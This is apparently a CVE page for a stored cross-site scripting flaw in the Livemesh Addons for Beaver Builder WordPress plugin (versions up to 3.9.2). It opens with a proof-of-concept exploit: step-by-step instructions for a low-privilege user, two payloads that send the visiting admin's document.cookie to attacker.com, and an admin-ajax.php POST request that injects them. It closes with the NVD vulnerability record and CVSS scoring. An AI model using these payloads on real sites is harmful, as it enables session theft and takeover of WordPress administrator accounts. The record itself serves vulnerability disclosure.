CVE-2025-62990

// CVE-2025-62990 Stored XSS PoC // Target: Livemesh Addons for Beaver Builder <= 3.9.2 // Attack Vector: Inject malicious JavaScript via plugin components // Step 1: Authenticate as low-privilege user (contributor/author role) // Step 2: Navigate to Page Builder and add a Livemesh module // Step 3: Inject XSS payload in vulnerable field: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payload for event-based XSS: const eventXssPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // Step 4: Save the page // Step 5: When admin visits the page, XSS will execute // Example HTTP POST request to trigger vulnerability: const exploitRequest = { method: 'POST', url: '/wp-admin/admin-ajax.php', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }, body: 'action=fl_builder_save_settings&node_id=abc123&settings[custom_field]=' + encodeURIComponent(xssPayload) };

{"cve": {"id": "CVE-2025-62990", "sourceIdentifier": "[email protected]", "published": "2025-12-31T13:15:42.273", "lastModified": "2026-04-23T15:34:55.310", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in livemesh Livemesh Addons for Beaver Builder addons-for-beaver-builder allows Stored XSS.This issue affects Livemesh Addons for Beaver Builder: from n/a through <= 3.9.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Livemesh Livemesh Addons for Beaver Builder addons-for-beaver-builder permite XSS Almacenado. Este problema afecta a Livemesh Addons for Beaver Builder: desde n/a hasta 3.9.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/addons-for-beaver-builder/vulnerability/wordpress-livemesh-addons-for-beaver-builder-plugin-3-9-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}